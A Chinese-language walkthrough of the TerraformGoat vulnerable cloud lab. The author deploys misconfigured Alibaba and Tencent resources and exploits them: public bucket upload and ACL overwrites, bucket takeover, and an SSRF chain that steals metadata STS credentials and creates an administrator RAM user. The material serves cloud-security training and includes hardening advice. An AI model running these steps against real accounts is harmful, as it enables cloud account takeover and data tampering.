搭建阿里云TerraformGoat

开通之前现充钱 不要低于100,之后可以提现

image-20220726132416514

docker pull registry.cn-beijing.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.4
docker run -itd --name terraformgoat_aliyun_0.0.4 registry.cn-beijing.aliyuncs.com/huoxian_pub/terraformgoat_aliyun:0.0.4
docker exec -it terraformgoat_aliyun_0.0.4 /bin/bash

image-20220726102027425

阿里云 VPC 安全组允许所有端口访问

获取accesskey

AccessKey ID
LTAI5t**5AkeRSrPmgzZu

AccessKey Secret
NgJkDWDc**82VkCnPP7ZZKi0ml8

image-20220726102010073

cd /TerraformGoat/aliyun/networking/vpc_security_group_open_all_ports
aliyun configure

image-20220726102353930

image-20220726102652626

terraform init
terraform apply

image-20220726102800278

image-20220726133333265

没起来就是钱没冲够

阿里云命令行工具

image-20220726134035228

查看安全组规则

aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId sg-2ze5c78wp00dn08z3hrk

image-20220726135453455

可以看到确实存在允许所有用户访问

在控制台也可以看到

image-20220726135744669

一定要销毁环境

terraform destroy

阿里云 VPC 安全组允许常见端口访问

cd /TerraformGoat/aliyun/networking/vpc_security_group_open_common_ports
terraform init
terraform apply

image-20220726142511261

aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId sg-2zef54mg9csxz50vzflp

image-20220726144639259

aliyun ecs DescribeSecurityGroupAttribute --SecurityGroupId sg-2zef54mg9csxz50vzflp | grep PortRange

image-20220726145004472

terraform destroy

阿里云存储桶未授权上传

cd /TerraformGoat/aliyun/oss/unrestricted_file_upload/ 
terraform init
terraform apply

image-20220726150301606

image-20220726153252460

查看下具体配置

image-20220726153240492

image-20220726153611979

image-20220726153647811

这里面也有一张图片

image-20220726153734293

image-20220726154735485

image-20220726154819824

直接访问这个页面抓不到包 所以我们去抓包修改地址

image-20220726155330566

我们使用put去覆盖我们的图片

image-20220726155426038

成功覆盖

image-20220726155439530

如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。

terraform destroy

阿里云存储桶对象遍历

cd /TerraformGoat/aliyun/oss/bucket_object_traversal/
terraform init
terraform apply

image-20220726160326981

image-20220726160433154

image-20220726160452968

多添加两个文件就能看出来了

image-20220726160556063

image-20220726160722992

terraform destroy

阿里云存储桶对象ACL可读写

cd /TerraformGoat/aliyun/oss/object_acl_writable/ 
terraform init
terraform apply

image-20220726161922203

image-20220726161918649

image-20220726162809426

image-20220726164148017

image-20220726164213068

image-20220726164235392

添加acl来查看权限

image-20220726164553430

PUT方法,将对象的ACL修改为public-read即可,我们需要在请求头添加x-oss-object-acl参数

x-oss-object-acl: public-read

image-20220726164748542

再次访问

image-20220726164901316

image-20220726164912672

terraform destroy

阿里云 OSS Object ACL 公开可读漏洞

cd /TerraformGoat/aliyun/oss/object_acl_readable
terraform init
terraform apply

image-20220726175641063

image-20220726184443454

image-20220726184244471

terraform destroy

阿里云 OSS Bucket 公开访问

cd /TerraformGoat/aliyun/oss/bucket_public_access
terraform init
terraform apply

image-20220726193624921

image-20220726193637984

image-20220726193754433

terraform destroy

阿里云 OSS Object 公开访问

cd /TerraformGoat/aliyun/oss/object_public_access
terraform init
terraform apply

image-20220726194305947

image-20220726194316276

image-20220726194326083

image-20220726194406457

terraform destroy

阿里云 OSS Bucket 策略公开可读

cd /TerraformGoat/aliyun/oss/bucket_policy_readable
terraform init
terraform apply

image-20220726211725819

image-20220726211738997

image-20220726211752187

image-20220726211958548

terraform destroy

阿里云 OSS Bucket HTTP 传输开启

cd /TerraformGoat/aliyun/oss/bucket_http_enable
terraform init
terraform apply

image-20220727094254700

image-20220727094407400

curl http://huoxian-terraformgoat-bucket-9hci7.oss-cn-beijing.aliyuncs.com/?policy

image-20220727094622109

image-20220727094633866

terraform destroy

阿里云存储桶特殊策略

cd /TerraformGoat/aliyun/oss/special_bucket_policy/
terraform init
terraform apply

image-20220727095651345

image-20220727095712393

image-20220727095741546

image-20220727103928650

可以看到需要更改ua才能访问

image-20220727103914223

terraform destroy

阿里云 OSS Bucket 日志转存未开启

cd /TerraformGoat/aliyun/oss/bucket_logging_disable
terraform init
terraform apply

image-20220727104433236

image-20220727104256472

image-20220727104359744

image-20220727104728047

使用 aliyun cli 可以查看当前 logging 的配置情况

aliyun oss logging --method get oss://huoxian-terraformgoat-bucket-y7lor

image-20220727104549758

未配置的

<?xml version="1.0" encoding="UTF-8"?>
<BucketLoggingStatus>
<LoggingEnabled>
<TargetBucket></TargetBucket>
<TargetPrefix></TargetPrefix>
</LoggingEnabled>
</BucketLoggingStatus>

配置的

<?xml version="1.0" encoding="UTF-8"?>
<BucketLoggingStatus>
<LoggingEnabled>
<TargetBucket>huoxian-terraformgoat-bucket-xxxxx</TargetBucket>
<TargetPrefix>log/</TargetPrefix>
</LoggingEnabled>
</BucketLoggingStatus>
terraform destroy

阿里云 OSS Bucket 服务端加密未使用 KMS

cd /TerraformGoat/aliyun/oss/server_side_encryption_no_kms_set
terraform init
terraform apply

image-20220727110955560

image-20220727114449652

查看 Bucket 的加密方式

aliyun oss bucket-encryption --method get oss://huoxian-terraformgoat-bucket-t2ov6

image-20220727111128871

如果返回 403,则说明加密方法为无

terraform destroy

阿里云 OSS Bucket 服务端 KMS 加密未使用 BYOK

cd /TerraformGoat/aliyun/oss/server_side_encryption_not_using_BYOK
terraform init
terraform apply

image-20220727114733756

image-20220727115158649

image-20220727115310750

aliyun oss bucket-encryption --method get oss://huoxian-terraformgoat-bucket-sj72n

image-20220727115436723

如果返回 403,则说明加密方法为无

terraform destroy

阿里云 ECS SSRF 漏洞到接管你的阿里云控制台

cd /TerraformGoat/aliyun/ecs/ecs_ssrf/
terraform init
terraform apply

image-20220727121513646

image-20220727122229207

image-20220727121549350

是存在ssrf的

image-20220727121724337

读取用户数据

前提是目标已经配置了用户数据,不然会返回 404

http://100.100.100.200/latest/user-data/

image-20220727123614961

image-20220727123747284

获取一下元数据信息

http://100.100.100.200/latest/meta-data

当前环境存在 ram/ 目录,这也就意味着当前云服务器配置了 RAM 角色,这样我们可以获取到临时凭证了。

image-20220727121822198

通过元数据获取临时凭证

这里 URL 中的 huocorp-terraform-goat-role 是 RAM 角色名称,可以通过访问 http://100.100.100.200/latest/meta-data/ram/security-credentials/ 获取到。
http://100.100.100.200/latest/meta-data/ram/security-credentials/

image-20220727124001647

http://100.100.100.200/latest/meta-data/ram/security-credentials/huocorp-terraform-goat-role

image-20220727124055997

将临时凭证配置到 aliyun 命令行工具里

aliyun configure --mode StsToken

image-20220727125137793

创建子用户,并赋予管理员权限

aliyun ram CreateUser --UserName wanan
aliyun ram CreateLoginProfile --UserName wanan --Password P@ssw0rd
aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName wanan

访问https://signin.aliyun.com页面,通过 RAM 用户进行登录,这里的用户格式为 username@company-alias,其中 username 就是刚刚创建的用户名,company-alias 可以通过下面的这个命令获取到

aliyun ram GetAccountAlias

image-20220727130838738

image-20220727130932567

image-20220727131002047

image-20220727131019172

由于刚才在创建用户时,赋予了 AdministratorAccess 权限,因此在 RAM 访问控制处可以看到,当前账号拥有管理所有阿里云资源的权限

image-20220727131354379

这个环境除了存在ssrf之外还存在两个主要的问题

  1. RAM角色的权限过大,导致可以通过该角色的权限进行创建子用户以及给子用户授予高权限等操作
  2. 元数据未做加固访问,导致一旦目标存在ssrf漏洞,元数据就存在被获取的风险

将元数据访问模式设置为加固模式有两种方法

  1. 在创建实例时,可以在系统配置的高级选项中将实例数据访问模式设置为仅加固模式

    image-20220727134953099

  2. 在已经创建好的实例中,可以在阿里云的OpenAPI中开启元数据强制使用Token访问,OpenApi地址

    https://next.api.aliyun.com/api/Ecs/2014-05-26/ModifyInstanceMetadataOptions

    image-20220727135442779

image-20220727140243082

image-20220727140915405

将 HttpTokens 设置为 required 即表示强制使用加固模式,此时再访问元数据就会提示 403 了

image-20220727140947471

需要先切换回主账号不是刚才创建的ram账号

先重置下实例密码

image-20220727141055076

添加22安全组

image-20220727144716489

值得一提的是,将元数据设置为加固模式可以防止通过 SSRF 获取到元数据,但如果实例权限被拿下,那么红队还是可以通过在实例上执行获取 token 的命令,然后利用该 token 获取到元数据

在 Linux 实例中获取 token 的命令如下:

TOKEN=`curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds: 21600"`

通过token获取元数据

curl -H "X-aliyun-ecs-metadata-token: $TOKEN"  http://100.100.100.200/latest/meta-data/

image-20220727145421683

对于 Windows 实例下的获取方法可以参考阿里云官方文档:https://help.aliyun.com/document_detail/108460.htm

删除创建的子账号

aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName wanan
aliyun ram DeleteUser --UserName wanan
terraform destroy

阿里云 ECS 未连接的磁盘没有开启加密

cd /TerraformGoat/aliyun/ecs/ecs_unattached_disks_are_unencrypted
terraform init
terraform apply

image-20220727150023383

aliyun ecs DescribeDisks --RegionId cn-beijing --DiskName huocorp-terraform-goat-disk-hdc80

image-20220727150228248

在返回的结果中,可以到 “Encrypted”: false,即说明当前磁盘未开启加密。

terraform destroy

阿里云 ECS 虚拟机的磁盘没有开启加密

cd /TerraformGoat/aliyun/ecs/ecs_virtual_machine_disks_are_unencrypted
terraform init
terraform apply

image-20220727150716709

aliyun ecs DescribeDisks --RegionId cn-beijing --InstanceId i-2zeavqzf4vys6u7pv3mf

image-20220727150802178

在返回的结果中,可以到 “Encrypted”: false,即说明当前磁盘未开启加密。

terraform destroy

如果不在用的话就删除ask

image-20220727151520289

terraform destroy

阿里云 Bucket接管

在阿里云下,当 Bucket 显示 NoSuchBucket 说明是可以接管的,如果显示 AccessDenied 则不行。

image-20220212134841569

假设有以下一种情况,管理员通过域名解析并绑定了一个存储桶,但是管理员将存储桶删除后,没有将域名解析的CNAME删除,这时会访问域名就会出现上面的情况,NoSuchBucket

image-20220212135014007

image-20220212135053519

image-20220212135121070

现在我们将存储桶删除,就会出现如下情况

image-20220212135244909

现在我们再访问域名会出现如下情况

image-20220212135316238

现在阿里云加了限制,必须在传输管理中配置绑定域名即可。以下情况即可接管该存储桶

image-20220212135948743

当我们访问存储桶的域名时,提示我们NoSuchBucket,这个时候可以登录自己的阿里云账号,创建同样的名称即可

image-20220212140112615

image-20220212140129779

此时我们刷新

image-20220212140150975

已经成功接管了该存储桶,尝试上传文件后配置权限公开访问

image-20220212140256729

搭建腾讯云TerraformGoat

docker pull registry.cn-beijing.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.4
docker run -itd --name terraformgoat_tencentcloud_0.0.4 registry.cn-beijing.aliyuncs.com/huoxian_pub/terraformgoat_tencentcloud:0.0.4
docker exec -it terraformgoat_tencentcloud_0.0.4 /bin/bash

拿一下key

SecretId: A**aaNvEOUVUr55zJckd
SecretId: nLhpjS3Sjt**ouoV0LdnjT4Zr

image-20220727154727023

image-20220727160052749

image-20220727160113468

腾讯云存储桶任意文件上传

两个端口的不知道为啥创建不了

cd /TerraformGoat/tencentcloud/cos/unrestricted_file_upload/
vim terraform.tfvars
terraform init
terraform apply

image-20220727164315808

image-20220727164403923

image-20220727164421654

image-20220727164602621

image-20220727164620718

image-20220727164635617

terraform destroy

腾讯云存储桶对象遍历

cd /TerraformGoat/tencentcloud/cos/bucket_object_traversal/
vim terraform.tfvars

这里没有flag.txt文件因此我们先创建一下

image-20220727165814192

terraform init
terraform apply

image-20220727165955832

image-20220727165947314

image-20220727170017369

image-20220727170106740

image-20220727170130640

terraform destroy

腾讯云 COS Bucket 公开访问

cd /TerraformGoat/tencentcloud/cos/bucket_public_access
vim terraform.tfvars
terraform init
terraform apply

image-20220727171719083

image-20220727171802279

image-20220727171821999

image-20220727172442078

terraform destroy

腾讯云 COS Object 公开访问

cd /TerraformGoat/tencentcloud/cos/object_public_access
vim terraform.tfvars
terraform init
terraform apply

image-20220727174932426

image-20220727175000015

image-20220727175014013

image-20220727175112110

terraform destroy

腾讯云 COS Bucket ACL 可写

cd /TerraformGoat/tencentcloud/cos/bucket_acl_writable/
vim terraform.tfvars
terraform init
terraform apply

image-20220727180146769

image-20220727180234004

image-20220727201051122

读取bucket的acl权限

image-20220727201111543

官方文档中有对ACL权限配置参数的说明:https://cloud.tencent.com/document/product/436/30752#.E6.93.8D.E4.BD.9C-permission

image-20220727183539159

改之前

HTTP/1.1 200 OK
Content-Type: application/xml
Content-Length: 969
Connection: close
Date: Wed, 27 Jul 2022 10:11:21 GMT
Server: tencent-cos
x-cos-request-id: NjJlMTBmNDlfNDdhZTE0MGJfZjJkOF9mYTNhYWQ2

<AccessControlPolicy>
<Owner>
<ID>qcs::cam::uin/100024216798:uin/100024216798</ID>
<DisplayName>qcs::cam::uin/100024216798:uin/100024216798</DisplayName>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
<ID>qcs::cam::uin/100024216798:uin/100024216798</ID>
<DisplayName>qcs::cam::uin/100024216798:uin/100024216798</DisplayName>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>WRITE_ACP</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>READ_ACP</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>


使用put进行策略更改,添加头


<AccessControlPolicy>
<Owner>
<ID>qcs::cam::uin/100024216798:uin/100024216798</ID>
<DisplayName>qcs::cam::uin/100024216798:uin/100024216798</DisplayName>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
<ID>qcs::cam::uin/100024216798:uin/100024216798</ID>
<DisplayName>qcs::cam::uin/100024216798:uin/100024216798</DisplayName>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>

image-20220727201437557

更改完后

image-20220727201545522

<AccessControlPolicy>
<Owner>
<ID>qcs::cam::uin/100024216798:uin/100024216798</ID>
<DisplayName>qcs::cam::uin/100024216798:uin/100024216798</DisplayName>
</Owner>
<AccessControlList>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
<ID>qcs::cam::uin/100024216798:uin/100024216798</ID>
<DisplayName>qcs::cam::uin/100024216798:uin/100024216798</DisplayName>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
<Grant>
<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="Group">
<URI>http://cam.qcloud.com/groups/global/AllUsers</URI>
</Grantee>
<Permission>FULL_CONTROL</Permission>
</Grant>
</AccessControlList>
</AccessControlPolicy>

image-20220727201516682

添加

Content-Type: application/xml

image-20220727204255020

image-20220727204326408

image-20220727204336273

terraform destroy

腾讯云 COS Bucket ACL 可读

cd /TerraformGoat/tencentcloud/cos/bucket_acl_readable
vim terraform.tfvars
terraform init
terraform apply

image-20220728095922044

image-20220728100423988

image-20220728100456168

terraform destroy

腾讯云 COS Bucket 服务端加密未开启

cd /TerraformGoat/tencentcloud/cos/server_side_encryption_disable
vim terraform.tfvars
terraform init
terraform apply

image-20220728101548457

terraform destroy

腾讯云 COS Bucket 日志存储未开启

cd /TerraformGoat/tencentcloud/cos/bucket_logging_disable
vim terraform.tfvars
terraform init
terraform apply

image-20220728102409573

terraform destroy

腾讯云 CBS 云硬盘未使用

cd /TerraformGoat/tencentcloud/cvm/cbs_storage_are_not_used
vim terraform.tfvars
terraform init
terraform apply

image-20220728103408094

apt-get install jq -y
tccli cbs DescribeDisks | jq '.DiskSet[] | select(.DiskId == "disk-abcdefghi") | .DiskState'

腾讯云 CVM SSRF 漏洞

cd /TerraformGoat/tencentcloud/cvm/cvm_ssrf/
vim terraform.tfvars
terraform init
terraform apply